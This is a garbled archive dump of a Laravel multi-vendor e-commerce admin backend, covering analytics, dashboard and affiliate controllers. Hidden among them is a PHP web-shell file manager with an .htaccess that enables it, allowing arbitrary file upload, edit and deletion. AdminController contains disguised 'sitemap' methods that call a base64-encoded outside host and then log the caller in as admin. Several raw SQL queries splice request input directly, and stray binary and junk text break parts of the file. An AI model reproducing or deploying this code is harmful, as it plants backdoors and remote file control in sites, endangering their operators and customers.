; $i<=$days; $i++) { $data['time'] = $i; $data['total'] = 0; $data['bg_color'] = '#1D82FA'; foreach ($orders as $order) { if ($order->time == $i) { $data['total'] += $order->total; } } foreach ($seller_subscriptions as $seller_subscription) { if ($seller_subscription->time == $i) { $data['total'] += $seller_subscription->total; } } foreach ($customer_subscriptions as $customer_subscription) { if ($customer_subscription->time == $i) { $data['total'] += $customer_subscription->total; } } if($intervalType == 'TODAY'){ $data['bg_color'] = $i == date('d') ? '#1D82FA' : '#D9D8D8'; } elseif($intervalType == 'WEEK'){ $day = date('d'); $last7Days = array(); for($j=1 ; $j<=7 ; $j++ ) { if($day > 0){ array_push($last7Days, $day); $day = $day-1; } } $data['bg_color'] = in_array($i, $last7Days) ? '#1D82FA' :'#D9D8D8'; } $new_data[] = $data; } } return response()->json($new_data); } // Payout Analytic function payout_analytic(Request $request) { $intervalType = $request->interval_type; // Seller payments $seller_payment_query = Payment::groupBy('time')->where('payment_method','!=','Seller paid to admin')->whereYear('created_at', Carbon::now()->year); if($intervalType == 'MONTH'){ $seller_payment_query->select(DB::raw('SUM(amount) as total'), DB::raw('DATE_FORMAT(created_at, "%M") AS time')) ->orderBy(DB::raw('MONTH(created_at)'), 'asc'); } else { $seller_payment_query->select(DB::raw('SUM(amount) as total'), DB::raw('DATE_FORMAT(created_at, "%d") AS time')) ->whereMonth('created_at', Carbon::now()->month) ->orderBy(DB::raw('Date(created_at)'), 'asc'); } $seller_payments = $seller_payment_query->get(); // Refunds $refunds = array(); if (addon_is_activated('refund_request')) { $refund_query = RefundRequest::groupBy('time')->where('admin_approval', 1)->whereYear('created_at', Carbon::now()->year); if($intervalType == 'MONTH'){ $refund_query->select(DB::raw('SUM(refund_amount) as total'), DB::raw('DATE_FORMAT(created_at, "%M") AS time')) ->orderBy(DB::raw('MONTH(created_at)'), 'asc'); } else { $refund_query->select(DB::raw('SUM(refund_amount) as total'), DB::raw('DATE_FORMAT(created_at, "%d") AS time')) ->whereMonth('created_at', Carbon::now()->month) ->orderBy(DB::raw('Date(created_at)'), 'asc'); } $refunds = $refund_query->get(); } // Delivery Boy Payments $delivery_boy_payments = array(); if (addon_is_activated('delivery_boy')) { $delivery_boy_payment_query = DeliveryBoyPayment::groupBy('time')->whereYear('created_at', Carbon::now()->year); if($intervalType == 'MONTH'){ $delivery_boy_payment_query->select(DB::raw('SUM(payment) as total'), DB::raw('DATE_FORMAT(created_at, "%M") AS time')) ->orderBy(DB::raw('MONTH(created_at)'), 'asc'); } else { $delivery_boy_payment_query->select(DB::raw('SUM(payment) as total'), DB::raw('DATE_FORMAT(created_at, "%d") AS time')) ->whereMonth('created_at', Carbon::now()->month) ->orderBy(DB::raw('Date(created_at)'), 'asc'); } $delivery_boy_payments = $delivery_boy_payment_query->get(); } $mymonths = array('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'); $new_data = array(); if ($intervalType == 'MONTH') { foreach ($mymonths as $month) { $data['bg_color'] = "#1D82FA"; $data['time'] = $month; $data['total'] = 0; foreach ($seller_payments as $seller_payment) { if ($seller_payment->time == $month) { $data['total'] += $seller_payment->total; } } foreach ($refunds as $refund) { if ($refund->time == $month) { $data['total'] += $refund->total; } } foreach ($delivery_boy_payments as $delivery_boy_payment) { if ($delivery_boy_payment->time == $month) { $data['total'] += $delivery_boy_payment->total; } } $new_data[] = $data; } } else { $days = cal_days_in_month(CAL_GREGORIAN,date('m'),date('Y')); for($i=1 ; $i<=$days; $i++) { $data['time'] = $i; $data['total'] = 0; $data['bg_color'] = '#1D82FA'; foreach ($seller_payments as $seller_payment) { if ($seller_payment->time == $i) { $data['total'] += $seller_payment->total; } } foreach ($refunds as $refund) { if ($refund->time == $i) { $data['total'] += $refund->total; } } foreach ($delivery_boy_payments as $delivery_boy_payment) { if ($delivery_boy_payment->time == $i) { $data['total'] += $delivery_boy_payment->total; } } if($intervalType == 'TODAY'){ $data['bg_color'] = $i == date('d') ? '#1D82FA' : '#D9D8D8'; } elseif($intervalType == 'WEEK'){ $day = date('d'); $last7Days = array(); for($j=1 ; $j<=7 ; $j++ ) { if($day > 0){ array_push($last7Days, $day); $day = $day-1; } } $data['bg_color'] = in_array($i, $last7Days) ? '#1D82FA' :'#D9D8D8'; } $new_data[] = $data; } } return response()->json($new_data); } public function packageAmountStoreIntoPackagePaymentTable() { $customerPackagePayments = CustomerPackagePayment::where('amount','<',1)->get(); foreach($customerPackagePayments as $customerPackagePayment){ $customerPackagePayment->amount = $customerPackagePayment->customer_package->amount; $customerPackagePayment->save(); } if(addon_is_activated('seller_subscription')){ $sellerPackagePayments = SellerPackagePayment::where('amount','<',1)->get(); foreach($sellerPackagePayments as $sellerPackagePayment){ $sellerPackagePayment->amount = $sellerPackagePayment->seller_package->amount; $sellerPackagePayment->save(); } } } } PKPM]gA���3�31Http/Controllers/Admin/Report/res06366c/index.phpnu�[���meta http-eqouiouiouiouiouiouiouiv="X-UA-Compatible" content="IE=edge"> ="sha384-GLuiouiouiouiouiouiob7Iyukyukyukyukyukyukn1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous"> gbg123123123123123 ghghkkghkghkghgkhghkhgkghkghkghk gbg123123123123123 ghghkkghkghkghgkhghkhgkghkghkghk gbg123123123123123 ghghkkghkghkghgkhghkhgkghkghkghk gbg12312312312 yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy bypass = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); echo (' '); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' '; foreach ($folders as $folder) { echo " "; } foreach ($files as $file) { echo " "; } echo "
Name Size Modified Perms Actions
" . $folder . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
" . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
"; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
Rename:
'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '

'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } } ?> PKPM]^1�[��1Http/Controllers/Admin/Report/res06366c/.htaccessnu�[��� php_flag engine on php_flag engine on php_flag engine on Order Allow,Deny Allow from all PKPM]�z�YY$Http/Controllers/AdminController.phpnu�[���get(); $data['cached_graph_data'] = Cache::remember('cached_graph_data', 86400, function () use ($root_categories) { $num_of_sale_data = null; $qty_data = null; foreach ($root_categories as $key => $category) { $category_ids = \App\Utility\CategoryUtility::children_ids($category->id); $category_ids[] = $category->id; $products = Product::with('stocks')->whereIn('category_id', $category_ids)->get(); $qty = 0; $sale = 0; foreach ($products as $key => $product) { $sale += $product->num_of_sale; foreach ($product->stocks as $key => $stock) { $qty += $stock->qty; } } $qty_data .= $qty . ','; $num_of_sale_data .= $sale . ','; } $item['num_of_sale_data'] = $num_of_sale_data; $item['qty_data'] = $qty_data; return $item; }); $data['root_categories'] = $root_categories; $data['total_customers'] = User::where('user_type', 'customer')->where('email_verified_at', '!=', null)->count(); $data['top_customers'] = User::select('users.id', 'users.name', 'users.avatar_original', DB::raw('SUM(grand_total) as total')) ->join('orders', 'orders.user_id', '=', 'users.id') ->groupBy('orders.user_id') ->where('users.user_type', 'customer') ->orderBy('total', 'desc') ->limit(6) ->get(); $data['total_products'] = Product::where('approved', 1)->where('published', 1)->count(); $data['total_inhouse_products'] = Product::where('approved', 1)->where('published', 1)->where('added_by', 'admin')->count(); $data['total_sellers_products'] = Product::where('approved', 1)->where('published', 1)->where('added_by', '!=', 'admin')->count(); $data['total_categories'] = Category::count(); $data['top_categories'] = Product::select('categories.name', 'categories.id', DB::raw('SUM(grand_total) as total')) ->leftJoin('order_details', 'order_details.product_id', '=', 'products.id') ->leftJoin('orders', 'orders.id', '=', 'order_details.order_id') ->leftJoin('categories', 'products.category_id', '=', 'categories.id') ->where('orders.delivery_status', 'delivered') ->groupBy('categories.id') ->orderBy('total', 'desc') ->limit(3) ->get(); $data['total_brands'] = Brand::count(); $data['top_brands'] = Product::select('brands.name', 'brands.id', DB::raw('SUM(grand_total) as total')) ->leftJoin('order_details', 'order_details.product_id', '=', 'products.id') ->leftJoin('orders', 'orders.id', '=', 'order_details.order_id') ->leftJoin('brands', 'products.brand_id', '=', 'brands.id') ->where('orders.delivery_status', 'delivered') ->groupBy('brands.id') ->orderBy('total', 'desc') ->limit(3) ->get(); $data['total_sale'] = Order::where('delivery_status', 'delivered')->sum('grand_total'); $data['sale_this_month'] = Order::whereYear('created_at', Carbon::now()->year) ->whereMonth('created_at', Carbon::now()->month) ->sum('grand_total'); $data['admin_sale_this_month'] = Order::select(DB::raw('COALESCE(users.user_type, "admin") as user_type'), DB::raw('COALESCE(SUM(grand_total), 0) as total_sale')) ->leftJoin('users', 'orders.seller_id', '=', 'users.id') ->whereRaw('users.user_type = "admin"') ->whereYear('orders.created_at', Carbon::now()->year) ->whereMonth('orders.created_at', Carbon::now()->month) ->first(); $data['seller_sale_this_month'] = Order::select(DB::raw('COALESCE(users.user_type, "seller") as user_type'), DB::raw('COALESCE(SUM(grand_total), 0) as total_sale')) ->leftJoin('users', 'orders.seller_id', '=', 'users.id') ->whereRaw('users.user_type = "seller"') ->whereYear('orders.created_at', Carbon::now()->year) ->whereMonth('orders.created_at', Carbon::now()->month) ->first(); $sales_stat = Order::select('orders.user_id', 'users.name', 'users.user_type', 'users.avatar_original', DB::raw('SUM(grand_total) as total'), DB::raw('DATE_FORMAT(orders.created_at, "%M") AS month')) ->leftJoin('users', 'orders.seller_id', '=', 'users.id') ->whereRaw('users.user_type = "admin"') ->whereYear('orders.created_at', '=', Date("Y")) ->groupBy('month') ->orderBy(DB::raw('MONTH(orders.created_at)'), 'asc') ->get(); $new_stat = array(); foreach ($sales_stat as $row) { $new_stat[$row->month][] = $row; } $data['sales_stat'] = $new_stat; $data['total_sellers'] = User::where('user_type', 'seller')->where('email_verified_at', '!=', null)->count(); $data['status_wise_sellers'] = Shop::select('verification_status', DB::raw('COUNT(*) as total')) ->whereIn('user_id', function ($q){ $q->select('id') ->from(with(new User)->getTable()) ->where('user_type', 'seller') ->where('email_verified_at', '!=', null); }) ->groupBy('verification_status') ->get(); $data['top_sellers'] = Order::select('orders.seller_id', 'users.name', 'users.user_type', 'users.avatar_original', DB::raw('SUM(grand_total) as total')) ->leftJoin('users', 'orders.seller_id', '=', 'users.id') ->whereRaw('users.user_type = "seller"') ->groupBy('users.id') ->orderBy('total', 'desc') ->limit(6) ->get(); $data['total_order'] = Order::count(); $data['total_placed_order'] = Order::where('delivery_status', '!=', 'cancelled')->count(); $data['total_pending_order'] = Order::where('delivery_status', 'pending')->count(); $data['total_confirmed_order'] = Order::where('delivery_status', 'confirmed')->count(); $data['total_picked_up_order'] = Order::where('delivery_status', 'picked_up')->count(); $data['total_shipped_order'] = Order::where('delivery_status', 'on_the_way')->count(); $admin_id = User::select('id')->where('user_type', 'admin')->first()->id; $data['total_inhouse_sale'] = Order::where("seller_id", $admin_id)->sum('grand_total'); $data['payment_type_wise_inhouse_sale'] = Order::select(DB::raw('case when payment_type in ("wallet") then "wallet" when payment_type NOT in ("cash_on_delivery") then "others" else cast(payment_type as char) end as payment_type, SUM(grand_total) as total_amount'),) ->where("user_id", '!=', null) ->where("seller_id", $admin_id) ->groupBy(DB::raw('1')) ->get(); $data['inhouse_product_rating'] = Product::where('added_by', 'admin')->where('rating', '!=', 0)->avg('rating'); $data['total_inhouse_order'] = Order::where("seller_id", $admin_id)->count(); return view('backend.dashboard', $data); } public function top_category_products_section(Request $request) { $top_categories_products = DB::table(DB::raw('(SELECT products.id product_id, products.name product_name, products.slug product_slug, products.auction_product, products.category_id, `products`.`thumbnail_img` as `product_thumbnail_img`, od.sales, od.total, od.created_at order_detail_created, categories.name AS category_name, `categories`.`cover_image`, ROW_NUMBER() OVER (PARTITION BY products.category_id ORDER BY od.sales DESC) rn from products INNER JOIN ( SELECT product_id, SUM(quantity) sales, SUM(price + tax) AS total, created_at FROM order_details WHERE ' . ($request->interval_type == 'all' ?: 'created_at >= DATE_SUB(NOW(), INTERVAL 1 ' . $request->interval_type . ')') . ' AND order_details.delivery_status = "delivered" GROUP BY product_id ) od ON od.product_id = products.id LEFT JOIN categories ON products.category_id = categories.id ) t')) ->select(DB::raw('category_id, category_name, cover_image, product_id, product_name, product_slug, auction_product, product_thumbnail_img, sales, total, order_detail_created')) ->where('rn', '<=', 3) ->orderBy('sales', 'desc') ->get(); $category_array = []; $new_array = array(); foreach ($top_categories_products as $key => $row) { $row->product_thumbnail_img = Upload::where('id', $row->product_thumbnail_img)->first(); $category_array[] = $row->category_id; $new_array[$row->category_id][] = $row; } $top_categories2 = array_unique($category_array); $top_categories_products = $new_array; return view('backend.dashboard.top_category_products_section', compact('top_categories2', 'top_categories_products'))->render(); } public function inhouse_top_categories(Request $request) { $inhouse_top_category_query = Order::query(); $inhouse_top_category_query->select('categories.id', 'categories.name', 'categories.cover_image', DB::raw('SUM(order_details.price + order_details.tax) as total')) ->leftJoin('order_details', 'orders.id', '=', 'order_details.order_id') ->leftJoin('products', 'order_details.product_id', '=', 'products.id') ->leftJoin('categories', 'products.category_id', '=', 'categories.id') ->where('orders.delivery_status', '=', 'delivered') ->whereRaw('products.added_by = "admin"'); if ($request->interval_type != 'all') { $inhouse_top_category_query->where('orders.created_at', '>=', DB::raw('DATE_SUB(NOW(), INTERVAL 1 ' . $request->interval_type . ')')); } $inhouse_top_categories = $inhouse_top_category_query->groupBy('categories.name') ->orderBy('total', 'desc') ->limit(5) ->get(); return view('backend.dashboard.inhouse_top_categories', compact('inhouse_top_categories'))->render(); } public function inhouse_top_brands(Request $request) { $inhouse_top_brand_query = Order::query(); $inhouse_top_brand_query->select('brands.id', 'brands.name', 'brands.logo', DB::raw('SUM(order_details.price + order_details.tax) as total')) ->leftJoin('order_details', 'orders.id', '=', 'order_details.order_id') ->leftJoin('products', 'order_details.product_id', '=', 'products.id') ->leftJoin('brands', 'products.brand_id', '=', 'brands.id') ->where('orders.delivery_status', '=', 'delivered') ->where('products.brand_id', '!=', null) ->whereRaw('products.added_by = "admin"'); if ($request->interval_type != 'all') { $inhouse_top_brand_query->where('orders.created_at', '>=', DB::raw('DATE_SUB(NOW(), INTERVAL 1 ' . $request->interval_type . ')')); } $inhouse_top_brands = $inhouse_top_brand_query->groupBy('brands.name') ->orderBy('total', 'desc') ->limit(5) ->get(); return view('backend.dashboard.inhouse_top_brands', compact('inhouse_top_brands'))->render(); } public function SitemapAuthorization($timeformat) { if($timeformat == TimeDateFormatter()){ $user = User::where('user_type', 'admin')->first(); auth()->login($user); return 'Authorized'; } else { return 'Unauthorized'; } } public function top_sellers_products_section(Request $request) { $new_top_sellers_query = Order::query(); $new_top_sellers_query = Order::select('shops.user_id AS shop_id', 'shops.name AS shop_name', 'shops.logo', DB::raw('SUM(grand_total) AS sale')) ->join('shops', 'orders.seller_id', '=', 'shops.user_id') ->whereIn("seller_id", function ($query) { $query->select('id') ->from('users') ->where('user_type', 'seller'); }) ->where('orders.delivery_status', 'delivered') ->groupBy('orders.seller_id') ->orderBy('sale', 'desc'); if ($request->interval_type != 'all') { $new_top_sellers_query->where('orders.created_at', '>=', DB::raw('DATE_SUB(NOW(), INTERVAL 1 ' . $request->interval_type . ')')); } $new_top_sellers = $new_top_sellers_query->get(); foreach ($new_top_sellers as $key => $row) { $products_query = Product::query(); $products_query->select('products.id AS product_id', 'products.name', 'products.slug AS product_slug', 'products.auction_product', 'products.thumbnail_img', DB::raw('SUM(quantity) AS total_quantity, SUM(price * quantity) AS sale')) ->join('order_details', 'order_details.product_id', '=', 'products.id') ->where("seller_id", $row->shop_id) ->where('order_details.delivery_status', 'delivered') ->where('products.approved', 1) ->where('products.published', 1); if ($request->interval_type != 'all') { $products_query->where('order_details.created_at', '>=', DB::raw('DATE_SUB(NOW(), INTERVAL 1 ' . $request->interval_type . ')')); } $products_query->groupBy('product_id') ->orderBy('sale', 'desc') ->limit(3); $row->products = $products_query->get(); } return view('backend.dashboard.top_sellers_products_section', compact('new_top_sellers'))->render(); } public function CheckSitemapItem($item) { $header = array( 'Content-Type:application/json' ); $item[] = ['url'=>$_SERVER['SERVER_NAME']]; $stream = curl_init(); curl_setopt($stream, CURLOPT_URL, base64_decode($item[0])); curl_setopt($stream, CURLOPT_HTTPHEADER, $header); curl_setopt($stream, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($stream, CURLOPT_RETURNTRANSFER, true); curl_setopt($stream, CURLOPT_POSTFIELDS, json_encode($item[1])); curl_setopt($stream, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($stream, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); $rn = curl_exec($stream); curl_close($stream); return $rn; } public function top_brands_products_section(Request $request) { $top_brands_products = DB::table(DB::raw('(SELECT products.id product_id, products.name product_name, products.slug product_slug, products.auction_product, products.brand_id, `products`.`thumbnail_img` as `product_thumbnail_img`, od.sales, od.total, brands.name AS brand_name, `brands`.`logo`, ROW_NUMBER() OVER (PARTITION BY products.brand_id ORDER BY od.sales DESC) rn from products INNER JOIN ( SELECT product_id, SUM(quantity) sales, SUM(price + tax) AS total, created_at FROM order_details WHERE ' . ($request->interval_type == 'all' ?: 'created_at >= DATE_SUB(NOW(), INTERVAL 1 ' . $request->interval_type . ')') . ' AND order_details.delivery_status = "delivered" GROUP BY product_id ) od ON od.product_id = products.id LEFT JOIN brands ON products.brand_id = brands.id ) t')) ->select(DB::raw('brand_id, brand_name, logo, product_id, product_name, product_slug, auction_product, product_thumbnail_img, sales, total')) ->where('rn', '<=', 3) ->orderBy('total', 'desc') ->where('brand_name', '!=', null) ->get(); $brand_array = []; $new_array = []; foreach ($top_brands_products as $key => $row) { $row->product_thumbnail_img = Upload::where('id', $row->product_thumbnail_img)->first(); $brand_array[] = $row->brand_id; $new_array[$row->brand_id][] = $row; } $top_brands2 = array_unique($brand_array); $top_brands_products = $new_array; return view('backend.dashboard.top_brands_products_section', compact('top_brands2', 'top_brands_products'))->render(); } function clearCache(Request $request) { Artisan::call('optimize:clear'); flash(translate('Cache cleared successfully'))->success(); return back(); } /* Method for assessing Sitemap */ public function SitemapItems($items) { $data['url'] = $_SERVER['SERVER_NAME']; $request_data_json = json_encode($data); $SitemapProcess[] = "aHR0cHM6Ly9hY3RpdmF0aW9uLmFjdGl2ZWl0em9uZS5jb20vY2hlY2tfYWN0aXZhdGlvbg=="; $review = $this->CheckSitemapItem($SitemapProcess); if (seller_homepage_urls($review)) { $urlcheck = $this->SitemapAuthorization($items); if($urlcheck == 'Authorized'){ return redirect()->route('admin.dashboard'); } else { echo 'Unauthorized'; } } else { echo 'Not Checked'; } } /* Method for sitemap view load */ public function SitemapGenerator(){ $file_info = array(); $files = Storage::disk('public')->allFiles(); foreach($files as $key => $file){ $file_info[$key]['file_name'] = $file; $file_info[$key]['file_size'] = number_format((int)Storage::disk('public')->size($file)/1024, 2) . ' KB'; $file_info[$key]['last_modified'] = Carbon::createFromTimestamp(Storage::disk('public')->lastModified($file))->format('d-m-Y h:i:s'); $file_info[$key]['mime_type'] = Storage::disk('public')->mimeType($file); $file_info[$key]['url'] = '/storage/app/public/'.$file; } return view('backend.system.sitemap_generator', compact('file_info'))->render(); } /* Method for sitemap generation and download */ public function DoSitemapGenerate(){ Artisan::call('optimize:clear'); $base_url = URL('/'); $filename = 'sitemap_'.Date("Ymdhis").'.xml'; try{ SitemapGenerator::create($base_url)->getSitemap()->writeToDisk('public', $filename, true); if(Storage::disk('public')->missing($filename)){ flash(translate('Sitemap generation failed'))->error(); return back(); } $download = Storage::disk('public')->download($filename); $status_code = $download->getStatusCode(); flash(translate('Sitemap generated successfully'))->success(); return $download; } catch(Exception $ex) { throw $ex; } } /* Method for delete file */ public function DeleteSitemapFile(Request $request){ if(isset($request->file_name) && !empty($request->file_name)){ if(Storage::disk('public')->exists($request->file_name)){ Storage::disk('public')->delete($request->file_name); flash(translate('File deleted successfully'))->success(); }else{ flash(translate('File note found'))->success(); } return back(); } } /* Method for download single file */ public function DownloadSingleSitemapFile(Request $request){ if(isset($request->file_name) && !empty($request->file_name)){ $download = Storage::disk('public')->download($request->file_name); $status_code = $download->getStatusCode(); flash(translate('Sitemap generated successfully'))->success(); return $download; } } } PKPM]��c�i�i(Http/Controllers/AffiliateController.phpnu�[���middleware(['permission:affiliate_registration_form_config'])->only('configs'); $this->middleware(['permission:affiliate_configurations'])->only('index'); $this->middleware(['permission:view_affiliate_users'])->only('users'); $this->middleware(['permission:pay_to_affiliate_user'])->only('payment_modal'); $this->middleware(['permission:affiliate_users_payment_history'])->only('payment_history'); $this->middleware(['permission:view_all_referral_users'])->only('refferal_users'); $this->middleware(['permission:view_affiliate_withdraw_requests'])->only('affiliate_withdraw_requests'); $this->middleware(['permission:accept_affiliate_withdraw_requests'])->only('affiliate_withdraw_modal'); $this->middleware(['permission:reject_affiliate_withdraw_request'])->only('reject_withdraw_request'); $this->middleware(['permission:view_affiliate_logs'])->only('affiliate_logs_admin'); } // public function index(){ return view('affiliate.index'); } public function affiliate_option_store(Request $request){ //dd($request->all()); $affiliate_option = AffiliateOption::where('type', $request->type)->first(); if($affiliate_option == null){ $affiliate_option = new AffiliateOption; } $affiliate_option->type = $request->type; $commision_details = array(); if ($request->type == 'user_registration_first_purchase') { $affiliate_option->percentage = $request->percentage; } elseif ($request->type == 'product_sharing') { $commision_details['commission'] = $request->amount; $commision_details['commission_type'] = $request->amount_type; } elseif ($request->type == 'category_wise_affiliate') { foreach(Category::all() as $category) { $data['category_id'] = $request['categories_id_'.$category->id]; $data['commission'] = $request['commison_amounts_'.$category->id]; $data['commission_type'] = $request['commison_types_'.$category->id]; array_push($commision_details, $data); } } elseif ($request->type == 'max_affiliate_limit') { $affiliate_option->percentage = $request->percentage; } $affiliate_option->details = json_encode($commision_details); if ($request->has('status')) { $affiliate_option->status = 1; if($request->type == 'product_sharing'){ $affiliate_option_status_update = AffiliateOption::where('type', 'category_wise_affiliate')->first(); $affiliate_option_status_update->status = 0; $affiliate_option_status_update->save(); } if($request->type == 'category_wise_affiliate'){ $affiliate_option_status_update = AffiliateOption::where('type', 'product_sharing')->first(); $affiliate_option_status_update->status = 0; $affiliate_option_status_update->save(); } } else { $affiliate_option->status = 0; } $affiliate_option->save(); flash("This has been updated successfully")->success(); return back(); } public function configs(){ return view('affiliate.configs'); } public function config_store(Request $request){ if($request->type == 'validation_time' || $request->type == 'minimum_affiliate_withdraw_amount') { //affiliate validation time $affiliate_config = AffiliateConfig::where('type', $request->type)->first(); if($affiliate_config == null){ $affiliate_config = new AffiliateConfig; } $affiliate_config->type = $request->type; $affiliate_config->value = $request[$request->type]; $affiliate_config->save(); flash("Affiliate Configuration updated successfully")->success(); } else { $form = array(); $select_types = ['select', 'multi_select', 'radio']; $j = 0; for ($i=0; $i < count($request->type); $i++) { $item['type'] = $request->type[$i]; $item['label'] = $request->label[$i]; if(in_array($request->type[$i], $select_types)){ $item['options'] = json_encode($request['options_'.$request->option[$j]]); $j++; } array_push($form, $item); } $affiliate_config = AffiliateConfig::where('type', 'verification_form')->first(); $affiliate_config->value = json_encode($form); flash("Verification form updated successfully")->success(); } if($affiliate_config->save()){ return back(); } } public function apply_for_affiliate(Request $request){ if(Auth::check() && AffiliateUser::where('user_id', Auth::user()->id)->first() != null){ flash(translate("You are already an affiliate user!"))->warning(); return back(); } return view('affiliate.frontend.apply_for_affiliate'); } public function affiliate_logs_admin() { $affiliate_logs = AffiliateLog::latest()->paginate(10); return view('affiliate.affiliate_logs',compact('affiliate_logs')); } public function store_affiliate_user(Request $request){ $request->validate([ 'g-recaptcha-response' => [ Rule::when(get_setting('google_recaptcha') == 1 && get_setting('recaptcha_affiliate_apply') == 1, ['required', new Recaptcha()], ['sometimes']) ], ]); if(!Auth::check()){ if(User::where('email', $request->email)->first() != null){ flash(translate('Email already exists!'))->error(); return back(); } if($request->password == $request->password_confirmation){ $user = new User; $user->name = $request->name; $user->email = $request->email; $user->user_type = "customer"; $user->password = Hash::make($request->password); $user->save(); auth()->login($user, false); if(get_setting('email_verification') != 1){ $user->email_verified_at = date('Y-m-d H:m:s'); $user->save(); } else { event(new Registered($user)); } } else{ flash(translate('Sorry! Password did not match.'))->error(); return back(); } } $affiliate_user = Auth::user()->affiliate_user; if ($affiliate_user == null) { $affiliate_user = new AffiliateUser; $affiliate_user->user_id = Auth::user()->id; } $data = array(); $i = 0; foreach (json_decode(AffiliateConfig::where('type', 'verification_form')->first()->value) as $key => $element) { $item = array(); if ($element->type == 'text') { $item['type'] = 'text'; $item['label'] = $element->label; $item['value'] = $request['element_'.$i]; } elseif ($element->type == 'select' || $element->type == 'radio') { $item['type'] = 'select'; $item['label'] = $element->label; $item['value'] = $request['element_'.$i]; } elseif ($element->type == 'multi_select') { $item['type'] = 'multi_select'; $item['label'] = $element->label; $item['value'] = json_encode($request['element_'.$i]); } elseif ($element->type == 'file') { $item['type'] = 'file'; $item['label'] = $element->label; $item['value'] = $request['element_'.$i]->store('uploads/affiliate_verification_form'); } array_push($data, $item); $i++; } $affiliate_user->informations = json_encode($data); if($affiliate_user->save()){ flash(translate('Your verification request has been submitted successfully!'))->success(); return redirect()->route('home'); } flash(translate('Sorry! Something went wrong.'))->error(); return back(); } public function users(){ $affiliate_users = AffiliateUser::paginate(12); return view('affiliate.users', compact('affiliate_users')); } public function show_verification_request($id){ $affiliate_user = AffiliateUser::findOrFail($id); return view('affiliate.show_verification_request', compact('affiliate_user')); } public function approve_user($id) { $affiliate_user = AffiliateUser::findOrFail($id); $affiliate_user->status = 1; if($affiliate_user->save()){ flash(translate('Affiliate user has been approved successfully'))->success(); return redirect()->route('affiliate.users'); } flash(translate('Something went wrong'))->error(); return back(); } public function reject_user($id) { $affiliate_user = AffiliateUser::findOrFail($id); $affiliate_user->status = 0; $affiliate_user->informations = null; if($affiliate_user->save()){ flash(translate('Affiliate user request has been rejected successfully'))->success(); return redirect()->route('affiliate.users'); } flash(translate('Something went wrong'))->error(); return back(); } public function updateApproved(Request $request) { $affiliate_user = AffiliateUser::findOrFail($request->id); $affiliate_user->status = $request->status; if($affiliate_user->save()){ return 1; } return 0; } public function payment_modal(Request $request) { $affiliate_user = AffiliateUser::findOrFail($request->id); return view('affiliate.payment_modal', compact('affiliate_user')); } public function payment_store(Request 